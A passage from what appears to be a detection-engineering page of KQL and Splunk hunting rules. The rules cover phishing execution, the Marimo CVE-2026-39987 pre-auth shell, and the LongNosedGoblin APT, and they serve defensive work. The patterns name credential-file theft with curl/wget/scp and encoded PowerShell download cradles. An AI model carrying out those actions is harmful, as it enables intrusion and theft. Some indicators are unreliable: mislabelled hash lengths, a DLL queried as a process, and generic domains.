| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key.
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Article-specific behavioural hunt — Revisiting CVE-2025-50165: A critical flaw in Windows Imaging Component
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → File hash IOCs — endpoint file/process match
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage.
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-50165")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-50165")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("5887D96565749067564BABCD3DC5D107AB6666BD", "4EC1DC0431432BC318E78C520387911EC44F84FC", "3F3767D05E5A91184005D98427074711F68D9950") or SHA1 in~ ("5887D96565749067564BABCD3DC5D107AB6666BD", "4EC1DC0431432BC318E78C520387911EC44F84FC", "3F3767D05E5A91184005D98427074711F68D9950") or MD5 in~ ("5887D96565749067564BABCD3DC5D107AB6666BD", "4EC1DC0431432BC318E78C520387911EC44F84FC", "3F3767D05E5A91184005D98427074711F68D9950")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where Filesystem.file_hash IN ("5887D96565749067564BABCD3DC5D107AB6666BD", "4EC1DC0431432BC318E78C520387911EC44F84FC", "3F3767D05E5A91184005D98427074711F68D9950")
by Filesystem.dest, Filesystem.user, Filesystem.file_path, Filesystem.file_name, Filesystem.file_hash
| `drop_dm_object_name(Filesystem)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Processes
where Processes.process_hash IN ("5887D96565749067564BABCD3DC5D107AB6666BD", "4EC1DC0431432BC318E78C520387911EC44F84FC", "3F3767D05E5A91184005D98427074711F68D9950")
by Processes.dest, Processes.user, Processes.process_name, Processes.process_hash
| `drop_dm_object_name(Processes)`]
Article-specific behavioural hunt — Revisiting CVE-2025-50165: A critical flaw in Windows Imaging ComponentExploitationHigh
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Revisiting CVE-2025-50165: A critical flaw in Windows Imaging Component
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("windowscodecs.dll"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("windowscodecs.dll"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Revisiting CVE-2025-50165: A critical flaw in Windows Imaging Component ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("windowscodecs.dll"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("windowscodecs.dll"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
2025-12-224 use cases0 techniques3 kill-chain phases detected
Digiever DS-2105 Pro contains a missing authorization vulnerability which could allow for command injection via time_tzsetup.cgi. Vendor: Digiever, Product: DS-2105 Pro. Federal patch due: 2026-01-12.
CVEsCVE-2023-52163
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2023-52163")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2023-52163")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-1812 use cases36 techniques6 kill-chain phases detected
ESET researchers discovered a China-aligned APT group, LongNosedGoblin, which uses Group Policy to deploy cyberespionage tools across networks of governmental institutions
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → PowerShell encoded / obfuscated command · Article-specific behavioural hunt — LongNosedGoblin tries to sniff out governmental affairs in Southeast Asia and Ja
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Scheduled task created with suspicious image / encoded args · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard · File hash IOCs — endpoint file/process match · [LLM] NosyDoor Stage-2: UevAppMonitor.exe AppDomainManager injection from Microsoft.NET\Framework · [LLM] NosyDoor staging artifacts dropped to C:\Windows\Microsoft.NET\Framework · [LLM] NosyDoor persistence: 'OneDrive Reporting Task-S-1-5-21-*' scheduled task creation
Command & Control. Beacon to attacker infrastructure for control and tasking. → Beaconing — periodic outbound to small set of destinations · Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Remote service execution — PsExec / SMB lateral movement · OAuth consent / suspicious app grant
Beaconing — periodic outbound to small set of destinationsCommand & ControlMedium
C2 channel detection via inter-beacon-time stddev / fan-out to single dest.
ATT&CKT1071.001T1071.004
Data sourcesNetwork_Traffic.All_TrafficDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemoteIPType == "Public" and ActionType == "ConnectionSuccess"
| project DeviceName, RemoteIP, RemotePort, Timestamp
| sort by DeviceName asc, RemoteIP asc, RemotePort asc, Timestamp asc
| extend prev_dev = prev(DeviceName, 1), prev_ip = prev(RemoteIP, 1),
prev_port = prev(RemotePort, 1), prev_ts = prev(Timestamp, 1)
| where DeviceName == prev_dev and RemoteIP == prev_ip and RemotePort == prev_port
| extend delta_sec = datetime_diff('second', Timestamp, prev_ts)
| summarize conn_count = count(), avg_delta = avg(delta_sec), stdev_delta = stdev(delta_sec)
by DeviceName, RemoteIP, RemotePort
| where conn_count > 30 and avg_delta between (30.0 .. 600.0) and stdev_delta < 5.0
| order by conn_count desc
| tstats `summariesonly` count, values(All_Traffic.dest_port) AS ports
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.action="allowed" AND All_Traffic.dest_category!="internal"
by _time span=10s, All_Traffic.src, All_Traffic.dest
| `drop_dm_object_name(All_Traffic)`
| streamstats current=f last(_time) AS prev_time by src, dest
| eval delta = _time - prev_time
| stats avg(delta) AS avg_delta stdev(delta) AS sd_delta count by src, dest
| where count > 30 AND sd_delta < 5 AND avg_delta>=30 AND avg_delta<=600
| sort - count
Network connections to article IPs / domainsCommand & ControlHigh
Outbound traffic to attacker infrastructure named in the article.
ATT&CKT1071
Data sourcesNetwork_Traffic.All_TrafficWebNetwork_Resolution.DNSDeviceNetworkEvents
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteIP in ("118.107.234.29", "118.107.234.26", "103.159.132.30", "101.99.88.113", "101.99.88.188", "38.54.17.131") or RemoteUrl has_any ("server.com", "stub.com", "newso.com", "policy-my.com")
| project Timestamp, DeviceName, ActionType, RemoteIP, RemotePort, RemoteUrl,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Network_Traffic.All_Traffic
where All_Traffic.dest IN ("118.107.234.29", "118.107.234.26", "103.159.132.30", "101.99.88.113", "101.99.88.188", "38.54.17.131")
by All_Traffic.src, All_Traffic.dest, All_Traffic.dest_port
| `drop_dm_object_name(All_Traffic)`
| append
[| tstats `summariesonly` count from datamodel=Web
where Web.dest IN ("server.com", "stub.com", "newso.com", "policy-my.com")
by Web.src, Web.dest, Web.url, Web.user
| `drop_dm_object_name(Web)`]
| append
[| tstats `summariesonly` count from datamodel=Network_Resolution.DNS
where DNS.query IN ("server.com", "stub.com", "newso.com", "policy-my.com")
by DNS.src, DNS.query, DNS.answer
| `drop_dm_object_name(DNS)`]
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
OAuth consent / suspicious app grantActions on ObjectivesHigh
Cloud identity abuse: app gets high-priv scopes, often via consent phishing.
ATT&CKT1528T1098.001
Data sourcesAuthentication.AuthenticationCloudAppEvents
CloudAppEvents
| where Timestamp > ago(7d)
| where ActionType in ("Consent to application.","Add OAuth2PermissionGrant.","Add delegated permission grant.")
| project Timestamp, AccountObjectId, AccountDisplayName, ActivityType,
ActivityObjects, IPAddress, UserAgent
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Authentication.Authentication
where Authentication.action="success"
AND Authentication.signature IN (
"Consent to application",
"Add app role assignment grant to user",
"Add OAuth2PermissionGrant",
"Add delegated permission grant")
by Authentication.user, Authentication.app, Authentication.src, Authentication.signature
| `drop_dm_object_name(Authentication)`
Scheduled task created with suspicious image / encoded argsInstallationHigh
schtasks.exe /create or Microsoft-Windows-TaskScheduler EventID 4698 with LOLBin actions.
ATT&CKT1053.005
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "schtasks.exe"
| where ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("powershell","cmd.exe","rundll32","-enc","FromBase64","\Users\Public","\AppData\")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="schtasks.exe" AND Processes.process="*/create*"
AND (Processes.process="*powershell*" OR Processes.process="*cmd.exe*"
OR Processes.process="*rundll32*" OR Processes.process="*-enc*"
OR Processes.process="*FromBase64*" OR Processes.process="*\Users\Public*"
OR Processes.process="*\AppData\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Encoded or obfuscated PowerShell — common across loaders, recon, and post-exploitation.
ATT&CKT1059.001T1027
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("powershell.exe","pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)(-enc|encodedcommand|frombase64string|-nop|-w\s+hidden|invoke-expression|iex\s*\(|downloadstring|net\.webclient)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("powershell.exe","pwsh.exe")
AND (Processes.process="*-enc *" OR Processes.process="*EncodedCommand*"
OR Processes.process="*FromBase64String*" OR Processes.process="*-nop*"
OR Processes.process="*-w hidden*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*IEX(*" OR Processes.process="*DownloadString*"
OR Processes.process="*Net.WebClient*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
RMM tool installed by non-IT user — remote-access utility for hands-on-keyboardInstallationHigh
ConnectWise / AnyDesk / TeamViewer / ScreenConnect / Atera installed outside IT change windows = common tradecraft for ransomware affiliates and IT-helpdesk impersonators.
ATT&CKT1219
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe")
or FileName matches regex @"(?i)kaseya.*\.exe"
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("AnyDesk.exe","TeamViewer.exe","TeamViewer_Service.exe",
"ScreenConnect.ClientService.exe","ConnectWiseControl.ClientService.exe",
"atera_agent.exe","SplashtopStreamer.exe","RustDesk.exe","NinjaOne.exe","kaseya*.exe")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Match SHA256/SHA1/MD5 named in the article against EDR file/process telemetry.
ATT&CKT1027
Data sourcesEndpoint.FilesystemEndpoint.ProcessesDeviceFileEventsDeviceProcessEvents
union DeviceFileEvents, DeviceProcessEvents
| where Timestamp > ago(7d)
| where SHA256 in~ ("D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C") or SHA1 in~ ("D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C") or MD5 in~ ("D53FCC01038E20193FBD51B7400075CF7C9C4402B73DA7B0DB836B000EBD8B1C")
